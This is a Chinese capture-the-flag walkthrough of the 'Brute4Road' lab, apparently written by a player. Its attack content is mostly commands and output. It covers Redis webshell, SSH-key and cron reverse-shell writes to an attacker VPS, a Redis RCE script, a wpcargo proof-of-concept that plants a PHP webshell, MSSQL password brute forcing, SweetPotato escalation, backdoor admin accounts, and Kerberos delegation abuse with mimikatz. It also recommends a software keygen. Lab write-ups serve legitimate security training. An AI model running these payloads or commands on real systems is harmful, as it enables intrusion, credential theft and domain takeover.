Brute4Road

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

tag

RedisBrute ForceSMBPrivilege Elevation域渗透

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.99.134.237

1
2
3
4
5
6
7
8
9
10
11
12
13
start infoscan
39.99.134.237:22 open
39.99.134.237:80 open
39.99.134.237:21 open
39.99.134.237:6379 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://39.99.134.237 code:200 len:4833 title:Welcome to CentOS
[+] ftp 39.99.134.237:21:anonymous
[->]pub
[+] Redis 39.99.134.237:6379 unauthorized file:/usr/local/redis/db/dump.rdb
已完成 4/4
[*] 扫描结束,耗时: 26.739311s

机器7

ftp 39.99.134.237
发现没东西
‘redis-cli -h 39.99.134.237’
成功连接
redis未授权拿shell的常见利用方法有写webshell,写corn或者写sshkey
写webshell:
CONFIG SET dir /var/html/www报错
config set dir /usr/share/nginx/html
CONFIG SET dbfilename shell.php
set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n"
save
显示权限不够
config set dir /tmp
save
这样就可以,说明我们连接的用户是低权限,接下来尝试SSH跟crontabs不出意料都权限不够,但是还是写一下步骤
SSH:

1
2
3
4
5
6
7
cd /root/.ssh/
创建密钥
ssh-keygen -t rsa
密钥保存为1.txt文件
(echo -e "\n\n"; cat 1.pub; echo -e "\n\n") > 1.txt
将密钥写入redis的1中
cat /root/.ssh/1.txt | redis-cli -h 39.99.134.237 -x set 1
1
2
3
4
5
redis-cli -h 39.99.134.237
get 1
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

crontabs计划任务:
vps上开启监听
nc -lvp 55555
常见crontabs

/var/spool/cron/username
/var/spool/cron/crontabs/username
/etc/crontab
/etc/cron.d/xxx

1
2
3
4
5
redis-cli -h 39.99.134.237
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

info
查看一下redis版本号为5.0.12
可以打redis主从复制(4.x~5.0.5)
在vps上操作

1
2
3
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

make会报错但是一样能打

1
2
3
4
5
6
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip3 install -r requirements.txt
python3 redis-rce.py -r 39.99.134.226 -p 6379 -L 175.27.255.162 -f module.so
//python3 redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

成功拿到shell,然后传个stowaway上去,进行连接
在VPS上起个python内置服务器:
把需要下载的文件放在你执行python命令的路径下,然后执行下面的命令
python3 -m http.server 80
然后在对方机器shell中进行下载,输入下面的命令即可,这里的ip为我们的vps的外网地址,路径为文件名
wget http://175.27.255.162/linux_x64_agent
如果不行可以试试ping一下,ping通了就是能下,可能是文件名错了之类的
其实可以不用下工具MDUT也可以反弹shell,未授权直接连就行
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.99.131.233:44444 -s 123
成功连接,先用stowaway传个fscan上去
upload /home/kali/Desktop/fscan /tmp/fscan
挂个代理
socks 12345
然后起shell
shell
ifconfig
./fscan -h 172.22.2.0/24 > res.txt
这里shell不能滚动,所以选用head进行逐20行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
[redis@centos-web01 mz]$ cat res.txt | head -20
[redis@centos-web01 mz]$ cat res.txt | head -40
[redis@centos-web01 mz]$ cat res.txt | head -60
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.34 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.18 is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.34:139 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.16:139 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.7:80 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.18:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 11.900005299s

扫描到的机器如下
172.22.2.34
172.22.2.16
172.22.2.3 域控
172.22.2.7 本机
172.22.2.18 WordPress网站
然后尝试提权本机,这里尝试利用suid提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
find / -user root -perm -4000 -print 2>/dev/null
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/unix_chkpwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chage
/usr/bin/base64
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/pkexec
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1

这里注意到base64被设置SUID,base64 通常不应设置SUID。可利用其读取敏感文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[redis@centos-web01 tmp]$ /usr/bin/base64 /home/redis/flag/flag01 | base64 --decode
<usr/bin/base64 /home/redis/flag/flag01 | base64 --decode
██████ ██ ██ ███████ ██
░█░░░░██ ░██ █░█ ░██░░░░██ ░██
░█ ░██ ██████ ██ ██ ██████ █████ █ ░█ ░██ ░██ ██████ ██████ ░██
░██████ ░░██░░█░██ ░██░░░██░ ██░░░██ ██████░███████ ██░░░░██ ░░░░░░██ ██████
░█░░░░ ██ ░██ ░ ░██ ░██ ░██ ░███████░░░░░█ ░██░░░██ ░██ ░██ ███████ ██░░░██
░█ ░██ ░██ ░██ ░██ ░██ ░██░░░░ ░█ ░██ ░░██ ░██ ░██ ██░░░░██ ░██ ░██
░███████ ░███ ░░██████ ░░██ ░░██████ ░█ ░██ ░░██░░██████ ░░████████░░██████
░░░░░░░ ░░░ ░░░░░░ ░░ ░░░░░░ ░ ░░ ░░ ░░░░░░ ░░░░░░░░ ░░░░░░


flag01: flag{5f20691f-0346-45b9-b8de-98a38accc26e}

Congratulations! ! !
Guess where is the second flag?

成功拿到flag01

机器18

这里尝试无密码访问16机器的smb

SMB默认端口
445(microsoft-ds):主要用于现代SMB连接
139(netbios-ssn):用于旧版SMB和NetBIOS依赖的环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
└─$ proxychains  smbclient -L //172.22.2.16 -N
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:445 ... OK

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk 远程管理
C$ Disk 默认共享
fileshare Disk
IPC$ IPC 远程 IPC
Reconnecting with SMB1 for workgroup listing.
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:139 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:139 ... OK
do_connect: Connection to 172.22.2.16 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
└─$ proxychains smbclient //172.22.2.16/fileshare -N
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.16:445 ... OK
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jun 9 01:35:07 2022
.. D 0 Thu Jun 9 01:35:07 2022

13106687 blocks of size 4096. 6167920 blocks available

一无所获
然后联想到tag中的Brute Force(暴力破解),尝试爆破一下16机器的mssql数据库
proxychains hydra -l sa -P /usr/share/wordlists/dirb/common.txt mssql://172.22.2.16
爆破失败
这里又看到18机器上起了wordpress服务,用wpscan扫一下

什么是WPScan
WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。
我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。
Wordpress作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪 WordPress的安全漏洞,Wordpress自诞生起也出现了很多漏洞.Wordpress还可以使用插件、主题。于是Wordpress本身很难挖掘什么安全问题的时候,安全>研究者开始研究其插件、主题的漏洞。通过插件,主题的漏洞去渗透Wordpress站点,于是WPScan应运而生,收集 Wordpress的各种漏洞,形成一个Wordpress专用扫描器。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

proxychains wpscan --url http://172.22.2.18
记得先开vpn更新一下wpscan数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[+] URL: http://172.22.2.18/ [172.22.2.18]
[+] Started: Tue Aug 5 11:45:15 2025

[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://172.22.2.18/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://172.22.2.18/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://172.22.2.18/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://172.22.2.18/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24).
| Found By: Rss Generator (Passive Detection)
| - http://172.22.2.18/index.php/feed/, <generator>https://wordpress.org/?v=6.0</generator>
| - http://172.22.2.18/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>

[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[+] WordPress theme in use: twentytwentytwo
| Location: http://172.22.2.18/wp-content/themes/twentytwentytwo/
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://172.22.2.18/wp-content/themes/twentytwentytwo/readme.txt
| [!] The version is out of date, the latest version is 2.0
| Style URL: http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2
| Style Name: Twenty Twenty-Two
| Style URI: https://wordpress.org/themes/twentytwentytwo/
| Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK

[i] Plugin(s) Identified:

[+] wpcargo
| Location: http://172.22.2.18/wp-content/plugins/wpcargo/
| Last Updated: 2025-07-23T01:11:00.000Z
| [!] The version is out of date, the latest version is 8.0.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 6.x.x (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.22.2.18/wp-content/plugins/wpcargo/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK) 0.00% ETA: ??:??:??
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK) 12.40% ETA: 00:00:04
[proxychains] Strict chain ... 127.0.0.1:12345 ... 172.22.2.18:80 ... OK) 28.46% ETA: 00:00:02
Checking Config Backups - Time: 00:00:02 <======================> (137 / 137) 100.00% Time: 00:00:02

[i] No Config Backups Found.

发现如下

  1. WordPress版本:6.0(已知存在漏洞,因为已经过时)
  2. 主题:twentytwentytwo,版本1.2(最新版本是2.0,所以主题也是过时的)
  3. 插件:wpcargo,版本6.x.x(最新版本是8.0.2,所以也是过时的)
  4. XML-RPC已启用(可能用于暴力破解或DDoS攻击)
  5. 上传目录有目录列表(可能暴露敏感文件)
  6. 外部WP-Cron已启用(可能导致拒绝服务)

这里利用插件wpcargo的官方poc进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/xx.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}xx.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

proxychains python poc.py
上传xx.php后蚁剑连接即可,注意类型要选择 cmdLinux
然后打开配置相关的php文件
/var/www/html/wp-config.php
从中找到该数据库的账号密码

1
2
3
4
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'WpuserEha8Fgj9' );

然后在蚁剑中右键选择数据操作,添加数据库,在数据库中找到flag02以及一堆密码,应该是另外一个数据库的密码,也就是我们之前就爆破过的16机器的mssql数据库,将查询语句的limit删除后导出所有密码出来进行爆破

机器16


这里因为在linux上莫名原因fscan爆破不能用,于是转战windows,所以用proxifier挂一下代理(在第一个机器再起一个stowaway的客户端,然后在windows连接,进行代理即可)
./FScan_2.0.1_linux_x64 -socks5 socks5://127.0.0.1:12345 -h 172.22.2.16 -m mssql -pwdf 1.txt
后续发现问题应该是挂proxychains使用fscan会扫不出来,这里上传文件到第一台机器上进行操作
upload /home/kali/Desktop/1.txt /tmp/1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[redis@centos-web01 tmp]$ ./fscan -h 172.22.2.16 -m mssql -pwdf 1.txt
./fscan -h 172.22.2.16 -m mssql -pwdf 1.txt

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
-m mssql start scan the port: 1433
start infoscan
172.22.2.16:1433 open
[*] alive ports len is: 1
start vulscan
[+] mssql 172.22.2.16:1433:sa ElGNkOiC
已完成 1/1
[*] 扫描结束,耗时: 1.463999872s

用windows进行爆破也可以看出来由于代理的原因爆破速度大幅下降

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS E:\ctf\web\渗透\tools\fscan_all_version> ./fscan.exe -h 172.22.2.16 -m mssql -pwdf 1.txt

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
-m mssql start scan the port: 1433
start infoscan
172.22.2.16:1433 open
[*] alive ports len is: 1
start vulscan
已完成 0/1 [-] mssql 172.22.2.16:1433 sa kPXf56Oi mssql: login error: 用户 'sa' 登录失败。
[+] mssql 172.22.2.16:1433:sa ElGNkOiC
已完成 1/1
[*] 扫描结束,耗时: 1m26.5820407s

爆破出密码为ElGNkOiC
然后就可以用MDUT进行连接获取shell了
获取成功后发现是低权限,尝试sweetpotato提权

1
2
C:/xx/sweetpotato.exe -a "whoami"
nt authority\system

然后就可以拿flag03啦

1
2
3
4
5
6
7
8
9
10
11
12
C:/xx/sweetpotato.exe -a "type c:\Users\Administrator\flag\flag03.txt"

8""""8 88 8"""8
8 8 eeee
e e e eeeee eeee 88 8 8 eeeee eeeee eeeee
8eeee8ee 8 8 8 8 8 8 88 88 8eee8e 8 88 8 8 8 8
88 8 8eee8e 8e 8 8e 8eee 88ee88 88 8 8 8 8eee8 8e 8
88 8 88 8 88 8 88 88 88 88 8 8 8 88 8 88 8
88eeeee8 88 8 88ee8 88 88ee 88 88 8 8eee8 88 8 88ee8


flag03: flag{f8107497-f1ad-4ebc-89cb-5d8041d557ad}

域控

1
2
C:/xx/sweetpotato.exe -a "netstat -ano"
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 804

发现rdp(远程连接端口3389)开放,注册用户进行登录
C:/xx/SweetPotato.exe -a "net user xianxin pass@123 /add"
这里密码太简单可能会注册失败
C:/xx/SweetPotato.exe -a "net localgroup administrators xianxin /add"
添加管理员权限组方便后续以管理员权限运行
C:/xx/SweetPotato.exe -a "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
启用 Windows 的远程桌面功能(不启用连接远程桌面会显示没有授权此目标用户)

systeminfo
发现该用户已经在域中
然后打约束委派攻击
准备好工具mimikatz和kekeo
管理员权限运行mimikatz 导出MSSQLSERVER的票据

1
2
3
4
5
提升权限命令
privilege::debug
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
exit

接下来用kekeo申请服务票据

1
2
3
使用TGT认购权证,利用S4U协议,以Administrator@XIAORANG.LAB用户身份申请一张访问cifs/DC.XIAORANG.LAB服务的ST服务票据,并导入到内存中
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB
exit

mimikatz打ptt(pass the ticket),Mimikatz 的 kerberos::ptt 功能可以将现有的 Kerberos 票据提交到内存中,也就是常说的 “票据传递”。

1
2
kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi
exit

这样我们就可以直接访问域控机上的flag04.txt啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\xx>type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
######: ### ######: ##
####### ## :### ####### ##
## :## ## .#### ## :## ##
## ## ##.#### ## ## ####### .####: ##.## ## ## .####. :#### :###.##
## :## ####### ## ## ####### .######: :#: ## ## :## .######. ###### :#######
#######. ###. ## ## ## ##: :## .## ## #######: ### ### #: :## ### ###
#######. ## ## ## ## ######## ## ## ###### ##. .## :##### ##. .##
## :## ## ## ## ## ######## ######## ## ##. ## ## .####### ## ##
## ## ## ## ## ## ## ######## ## ## ##. .## ## . ## ##. .##
## :## ## ##: ### ##. ###. :# ## ## :## ### ### ##: ### ### ###
######## ## ####### ##### .####### ## ## ##: .######. ######## :#######
###### ## ###.## .#### .#####: ## ## ### .####. ###.## :###.##


Well done hacking!
This is the final flag, you deserve it!


flag04: flag{4cae4970-e873-43a5-acd1-79034f614688}

补充

关于委派

域委派的用户
在域内的可以委派的账户有两种:
一种是主机账户,活动目录中的computers组内的计算机,也被称为机器账号。
另一种是用 setspn手动添加的服务账户。简单来说,服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录,也就是说无法通过SqlServiceAccount来通过3389进行rdp登录
所以这里可以利用mimikatz导出MSSQLSERVER的票据

windows代理软件(Proxifier)

先去官网下载Proxifier,记得开vpn
一路next下去安装完毕后启动Proxifier,点击Registration Key
去下载破解脚本Proxifier_Keygen
python Proxifier_Keygen.py
就可以快乐的使用Proxifier
在这里添加代理

然后写上就好

弹窗是是否全局代理,确认的话我觉得比较方便一点